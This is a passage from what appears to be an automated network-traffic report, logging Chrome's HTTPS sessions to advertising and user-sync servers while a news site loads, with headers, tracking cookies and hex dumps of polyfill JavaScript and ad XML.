2024-03-28 08:51:36 UTC	1173	IN	Data Raw: 34 38 65 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 73 6e 2c 20 61 73 61 70 29 20 7b 0d 0a 09 76 61 72 20 74 6e 63 20 3d 20 74 68 69 73 20 26 26 20 74 68 69 73 2e 61 64 64 54 50 53 63 72 69 70 74 20 3f 20 74 68 69 73 20 3a 20 77 69 6e 64 6f 77 5b 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 73 63 72 69 70 74 23 74 6e 63 5f 63 6f 72 65 27 29 20 7c 7c 20 7b 7d 29 2e 67 6c 6f 62 61 6c 20 7c 7c 20 27 5f 5f 74 6e 63 27 5d 3b 0d 0a 09 74 6e 63 20 26 26 20 74 6e 63 2e 61 64 64 54 50 53 63 72 69 70 74 20 3f 20 74 6e 63 2e 61 64 64 54 50 53 63 72 69 70 74 28 73 6e 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 09 09 76 61 72 20 70 72 6f 6d 69 73 65 3b 0d 0a 09 09 74 72 79 20 7b 0d 0a 09 09 09 76 61 72 20 74 70 69 64 20 3d 20 27 61 30 Data Ascii: 48e(function (sn, asap) {var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];tnc && tnc.addTPScript ? tnc.addTPScript(sn, function () {var promise;try {var tpid = 'a0
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.4	50375	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	516	OUT	OPTIONS /v1/trk/adv HTTP/1.1 Host: audience.codesour.tech Connection: keep-alive Cache-Control: max-age=0 Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization,content-type Origin: https://bsnews.it User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	474	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST Access-Control-Allow-Headers: authorization, content-type Access-Control-Max-Age: 3600 Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.4	50365	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	816	OUT	GET /usersync/adyoulike/?cb=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DZEMANTA_BANNER%26ttl%3D720%26uid%3Dbdef6bd95b7450b4e62a32db8c7d8c9d%26visitor%3D__ZUID__%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	760	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 273 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: /usersync/adyoulike/?cb=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DZEMANTA_BANNER%26ttl%3D720%26uid%3Dbdef6bd95b7450b4e62a32db8c7d8c9d%26visitor%3D__ZUID__%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=&s=2 P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=AI0WyE4WRtVRPruJLLBI; Path=/; Domain=zemanta.com; Expires=Fri, 28 Mar 2025 08:51:36 GMT; Max-Age=31536000; Secure; SameSite=None Date: Thu, 28 Mar 2024 08:51:36 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-03-28 08:51:36 UTC	273	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 2f 75 73 65 72 73 79 6e 63 2f 61 64 79 6f 75 6c 69 6b 65 2f 3f 63 62 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 76 69 73 69 74 6f 72 2d 75 73 2d 77 65 73 74 2d 32 2e 6f 6d 6e 69 74 61 67 6a 73 2e 63 6f 6d 25 32 46 76 69 73 69 74 6f 72 25 32 46 73 79 6e 63 25 33 46 6e 61 6d 65 25 33 44 5a 45 4d 41 4e 54 41 5f 42 41 4e 4e 45 52 25 32 36 74 74 6c 25 33 44 37 32 30 25 32 36 75 69 64 25 33 44 62 64 65 66 36 62 64 39 35 62 37 34 35 30 62 34 65 36 32 61 33 32 64 62 38 63 37 64 38 63 39 64 25 32 36 76 69 73 69 74 6f 72 25 33 44 5f 5f 5a 55 49 44 5f 5f 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 Data Ascii: <a href="/usersync/adyoulike/?cb=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DZEMANTA_BANNER%26ttl%3D720%26uid%3Dbdef6bd95b7450b4e62a32db8c7d8c9d%26visitor%3D__ZUID__%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=&amp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.4	50343	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1115	OUT	GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Bidswitch%2Cmartinai%2C4Info%2Cquantcast%2Cadelphic%2Cdynadmic%2Cportodsp%2Cappnexus%2Cbeeswax%2C_dmp_lotame%2Ctremornet%2Cindexexchange%2C_dmp_krux%2Cadtheorent%2CBidTheatre%2C1%2Cgoogle%2Cbucksense%2Cadgear%2CTubeMogul-GP%2Cscaleout%2Cemx%2Cthetradedesk%2Cbeachfront%2Cmadhive%2C_dmp_adobe%2Cstackadapt%2Cacuityads%2CRadiumOne%2Cmediamath%2Cbrightroll%2Cadvangelists%2CTapAd%2Crocketfuel%2C_google_dfp%2Cconversant%2Cdataxu%2Cblis%2Cadform%2CPulsepoint%2Clogicad%2Csimpli.fi%2Cactiveagent%2CVideology%2Cexponential%2Ccentro%2Cdeepintent%2C_dmp_turbine%2Cdemandbase&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&init=true&gdpr=0&gdpr_consent=1 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
2024-03-28 08:51:36 UTC	231	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/'
2024-03-28 08:51:36 UTC	1116	IN	Data Raw: 34 35 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 33 30 66 32 65 31 30 30 63 33 38 30 34 36 38 35 62 38 39 62 63 34 33 32 65 37 66 Data Ascii: 455<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7f
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.4	50381	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	738	OUT	GET /crum?cm_dsp_id=46&external_user_id=3287041831475129344 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:36 UTC	990	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b66119ed0305e9-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:36 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:36 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OztFD6aZV42KvWrpgdwAVUbBAzih9lKc9%2BKUZRTUMXPeG2n5AdvX8iF35y658AlvhLlxOXhklv3brkC%2B%2FOpRlGZtXEqaPMaEzyCX4tUJk9dPU3w6Zfpzp%2F8zMIKkB3au4%2FviQ64JmvN%2FuQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.4	50386	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	690	OUT	GET /ng-assets/creative/assets/polyfills-c5be5138.js HTTP/1.1 Host: cdn.bidbrain.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://63b93f34a29d568971c64c5fd0da54ec.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	1289	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: application/javascript Content-Length: 11824 Connection: close X-GUploader-UploadID: ABPtcPrvbQP1mXj7A509RjnFdNQuR9vdn5f_KjVZwYYvKafoGRfxNlic3fCqe9W2Z0VqQ5OzQqmZhFFJOA x-goog-generation: 1710863751058853 x-goog-metageneration: 2 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 11824 Content-Language: en x-goog-hash: crc32c=LvxLYA== x-goog-hash: md5=5NgAnTUQqV+KOQJQX2tEgg== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length, Content-Type, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace Expires: Thu, 28 Mar 2024 09:32:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Tue, 19 Mar 2024 15:55:51 GMT ETag: "e4d8009d3510a95f8a3902505f6b4482" CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BDJA3DctaxiJJXAUfZxSOHViUf8OkQzA0PcS3ZVhHAWzGWs8zREaXyboDkqxuvkblaw3Q2ipB%2FOS1JpbNTLg25YhuO52NJcRG%2B89BPJyqPxPX1URp9HIqHiv%2BfYFWRdnrv6N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6611a9ff307d7-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:36 UTC	80	IN	Data Raw: 65 78 70 6f 72 74 20 66 75 6e 63 74 69 6f 6e 20 5f 5f 76 69 74 65 5f 6c 65 67 61 63 79 5f 67 75 61 72 64 28 29 7b 69 6d 70 6f 72 74 2e 6d 65 74 61 2e 75 72 6c 3b 69 6d 70 6f 72 74 28 22 5f 22 29 2e 63 61 74 63 68 28 28 29 3d 3e 31 29 3b 28 Data Ascii: export function __vite_legacy_guard(){import.meta.url;import("_").catch(()=>1);(
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 7d 29 28 29 2e 6e 65 78 74 28 29 7d 3b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 3f 67 6c 6f 62 61 6c 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 7b 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 4d 61 74 68 3d 3d 3d 4d 61 74 68 26 26 74 7d 2c 72 3d 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 Data Ascii: async function*(){})().next()};var t="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},n=function(t){return t&&t.Math===Math&&t},r=n("object"==typeof globalThis&&
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 6c 6c 3d 3d 74 7d 2c 49 3d 43 2c 6b 3d 54 79 70 65 45 72 72 6f 72 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 49 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 6b 28 22 43 61 6e 27 74 20 63 61 6c 6c 20 6d 65 74 68 6f 64 20 6f 6e 20 22 2b 74 29 3b 72 65 74 75 72 6e 20 74 7d 2c 4c 3d 4d 2c 4e 3d 7a 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4c 28 4e 28 74 29 29 7d 2c 52 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 2c 5f 3d 76 6f 69 64 20 30 3d 3d 3d 52 26 26 76 6f 69 64 20 30 21 3d 3d 52 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 7c 7c 74 3d 3d 3d 52 7d 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ll==t},I=C,k=TypeError,z=function(t){if(I(t))throw new k("Can't call method on "+t);return t},L=M,N=z,D=function(t){return L(N(t))},R="object"==typeof document&&document.all,_=void 0===R&&void 0!==R?function(t){return"function"==typeof t\|\|t===R}:function(
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 74 2c 74 2c 7b 76 61 6c 75 65 3a 6e 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 7d 63 61 74 63 68 28 72 29 7b 77 74 5b 74 5d 3d 6e 7d 72 65 74 75 72 6e 20 6e 7d 2c 6a 74 3d 72 2c 50 74 3d 53 74 2c 45 74 3d 22 5f 5f 63 6f 72 65 2d 6a 73 5f 73 68 61 72 65 64 5f 5f 22 2c 54 74 3d 6d 74 2e 65 78 70 6f 72 74 73 3d 6a 74 5b 45 74 5d 7c 7c 50 74 28 45 74 2c 7b 7d 29 3b 28 54 74 2e 76 65 72 73 69 6f 6e 73 7c 7c 28 54 74 2e 76 65 72 73 69 6f 6e 73 3d 5b 5d 29 29 2e 70 75 73 68 28 7b 76 65 72 73 69 6f 6e 3a 22 33 2e 33 36 2e 30 22 2c 6d 6f 64 65 3a 22 67 6c 6f 62 61 6c 22 2c 63 6f 70 79 72 69 67 68 74 3a 22 c2 a9 20 32 30 31 34 2d 32 30 32 34 20 44 65 6e 69 73 20 50 75 73 68 6b 61 72 65 76 20 28 7a 6c 6f 69 72 6f 63 6b Data Ascii: t,t,{value:n,configurable:!0,writable:!0})}catch(r){wt[t]=n}return n},jt=r,Pt=St,Et="__core-js_shared__",Tt=mt.exports=jt[Et]\|\|Pt(Et,{});(Tt.versions\|\|(Tt.versions=[])).push({version:"3.36.0",mode:"global",copyright:" 2014-2024 Denis Pushkarev (zloirock
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 63 6f 6e 76 65 72 74 20 6f 62 6a 65 63 74 20 74 6f 20 70 72 69 6d 69 74 69 76 65 20 76 61 6c 75 65 22 29 7d 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 22 6e 75 6d 62 65 72 22 29 2c 74 6e 28 74 2c 6e 29 7d 2c 6f 6e 3d 63 74 2c 75 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 65 6e 28 74 2c 22 73 74 72 69 6e 67 22 29 3b 72 65 74 75 72 6e 20 6f 6e 28 6e 29 3f 6e 3a 6e 2b 22 22 7d 2c 63 6e 3d 55 2c 61 6e 3d 72 2e 64 6f 63 75 6d 65 6e 74 2c 66 6e 3d 63 6e 28 61 6e 29 26 26 63 6e 28 61 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 2c 6c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 6e 3f 61 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 74 29 3a 7b 7d 7d 2c 73 6e 3d 21 69 26 26 21 6f 28 28 66 75 6e 63 Data Ascii: convert object to primitive value")}return void 0===n&&(n="number"),tn(t,n)},on=ct,un=function(t){var n=en(t,"string");return on(n)?n:n+""},cn=U,an=r.document,fn=cn(an)&&cn(an.createElement),ln=function(t){return fn?an.createElement(t):{}},sn=!i&&!o((func
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 3f 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 52 6e 2e 66 28 74 2c 6e 2c 5f 6e 28 31 2c 72 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 74 5b 6e 5d 3d 72 2c 74 7d 2c 55 6e 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 57 6e 3d 69 2c 42 6e 3d 4c 74 2c 24 6e 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 71 6e 3d 57 6e 26 26 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 2c 4b 6e 3d 42 6e 28 24 6e 2c 22 6e 61 6d 65 22 29 2c 56 6e 3d 7b 45 58 49 53 54 53 3a 4b 6e 2c 50 52 4f 50 45 52 3a 4b 6e 26 26 22 73 6f 6d 65 74 68 69 6e 67 22 3d 3d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2e 6e 61 6d 65 2c 43 4f 4e 46 49 47 55 52 41 42 4c 45 3a 4b 6e 26 26 Data Ascii: ?function(t,n,r){return Rn.f(t,n,_n(1,r))}:function(t,n,r){return t[n]=r,t},Un={exports:{}},Wn=i,Bn=Lt,$n=Function.prototype,qn=Wn&&Object.getOwnPropertyDescriptor,Kn=Bn($n,"name"),Vn={EXISTS:Kn,PROPER:Kn&&"something"===function(){}.name,CONFIGURABLE:Kn&&
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 6e 66 6f 72 63 65 2c 78 72 3d 77 72 2e 67 65 74 2c 4d 72 3d 53 74 72 69 6e 67 2c 43 72 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 49 72 3d 4f 72 28 22 22 2e 73 6c 69 63 65 29 2c 6b 72 3d 4f 72 28 22 22 2e 72 65 70 6c 61 63 65 29 2c 7a 72 3d 4f 72 28 5b 5d 2e 6a 6f 69 6e 29 2c 4c 72 3d 45 72 26 26 21 53 72 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 38 21 3d 3d 43 72 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 2c 22 6c 65 6e 67 74 68 22 2c 7b 76 61 6c 75 65 3a 38 7d 29 2e 6c 65 6e 67 74 68 7d 29 29 2c 4e 72 3d 53 74 72 69 6e 67 28 53 74 72 69 6e 67 29 2e 73 70 6c 69 74 28 22 53 74 72 69 6e 67 22 29 2c 44 72 3d 55 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 22 53 79 6d 62 6f 6c 28 Data Ascii: nforce,xr=wr.get,Mr=String,Cr=Object.defineProperty,Ir=Or("".slice),kr=Or("".replace),zr=Or([].join),Lr=Er&&!Sr((function(){return 8!==Cr((function(){}),"length",{value:8}).length})),Nr=String(String).split("String"),Dr=Un.exports=function(t,n,r){"Symbol(
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 5d 29 21 3d 75 29 72 65 74 75 72 6e 21 30 7d 65 6c 73 65 20 66 6f 72 28 3b 69 3e 63 3b 63 2b 2b 29 69 66 28 28 74 7c 7c 63 20 69 6e 20 6f 29 26 26 6f 5b 63 5d 3d 3d 3d 72 29 72 65 74 75 72 6e 20 74 7c 7c 63 7c 7c 30 3b 72 65 74 75 72 6e 21 74 26 26 2d 31 7d 7d 2c 69 65 3d 7b 69 6e 63 6c 75 64 65 73 3a 6f 65 28 21 30 29 2c 69 6e 64 65 78 4f 66 3a 6f 65 28 21 31 29 7d 2c 75 65 3d 4c 74 2c 63 65 3d 44 2c 61 65 3d 69 65 2e 69 6e 64 65 78 4f 66 2c 66 65 3d 75 72 2c 6c 65 3d 4f 28 5b 5d 2e 70 75 73 68 29 2c 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 2c 65 3d 63 65 28 74 29 2c 6f 3d 30 2c 69 3d 5b 5d 3b 66 6f 72 28 72 20 69 6e 20 65 29 21 75 65 28 66 65 2c 72 29 26 26 75 65 28 65 2c 72 29 26 26 6c 65 28 69 2c 72 29 3b 66 6f 72 28 3b 6e 2e Data Ascii: ])!=u)return!0}else for(;i>c;c++)if((t\|\|c in o)&&o[c]===r)return t\|\|c\|\|0;return!t&&-1}},ie={includes:oe(!0),indexOf:oe(!1)},ue=Lt,ce=D,ae=ie.indexOf,fe=ur,le=O([].push),se=function(t,n){var r,e=ce(t),o=0,i=[];for(r in e)!ue(fe,r)&&ue(e,r)&&le(i,r);for(;n.
2024-03-28 08:51:36 UTC	1369	IN	Data Raw: 6e 2c 63 29 29 7d 7d 2c 5f 65 3d 49 65 2c 47 65 3d 45 2c 55 65 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 41 72 72 61 79 22 3d 3d 3d 47 65 28 74 29 7d 2c 57 65 3d 54 79 70 65 45 72 72 6f 72 2c 42 65 3d 45 2c 24 65 3d 4f 2c 71 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 46 75 6e 63 74 69 6f 6e 22 3d 3d 3d 42 65 28 74 29 29 72 65 74 75 72 6e 20 24 65 28 74 29 7d 2c 4b 65 3d 70 74 2c 56 65 3d 75 2c 58 65 3d 71 65 28 71 65 2e 62 69 6e 64 29 2c 59 65 3d 55 65 2c 48 65 3d 74 65 2c 4a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 3e 39 30 30 37 31 39 39 32 35 34 37 34 30 39 39 31 29 74 68 72 6f 77 20 57 65 28 22 4d 61 78 69 6d 75 6d 20 61 6c 6c 6f 77 65 64 20 69 6e 64 65 78 20 65 78 Data Ascii: n,c))}},_e=Ie,Ge=E,Ue=Array.isArray\|\|function(t){return"Array"===Ge(t)},We=TypeError,Be=E,$e=O,qe=function(t){if("Function"===Be(t))return $e(t)},Ke=pt,Ve=u,Xe=qe(qe.bind),Ye=Ue,He=te,Je=function(t){if(t>9007199254740991)throw We("Maximum allowed index ex
2024-03-28 08:51:36 UTC	792	IN	Data Raw: 6c 29 7c 7c 21 6d 6f 28 4f 62 6a 65 63 74 29 7c 7c 21 6d 6f 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 3d 21 30 7d 29 29 7c 7c 74 7d 29 29 3f 77 6f 3a 6d 6f 2c 53 6f 3d 55 65 2c 6a 6f 3d 4f 6f 2c 50 6f 3d 55 2c 45 6f 3d 59 74 28 22 73 70 65 63 69 65 73 22 29 2c 54 6f 3d 41 72 72 61 79 2c 41 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 53 6f 28 74 29 26 26 28 6e 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 28 6a 6f 28 6e 29 26 26 28 6e 3d 3d 3d 54 6f 7c 7c 53 6f 28 6e 2e 70 72 6f 74 6f 74 79 70 65 29 29 7c 7c 50 6f 28 6e 29 26 26 6e 75 6c 6c 3d 3d 3d 28 6e 3d 6e 5b 45 6f 5d 29 29 26 26 28 6e 3d 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 54 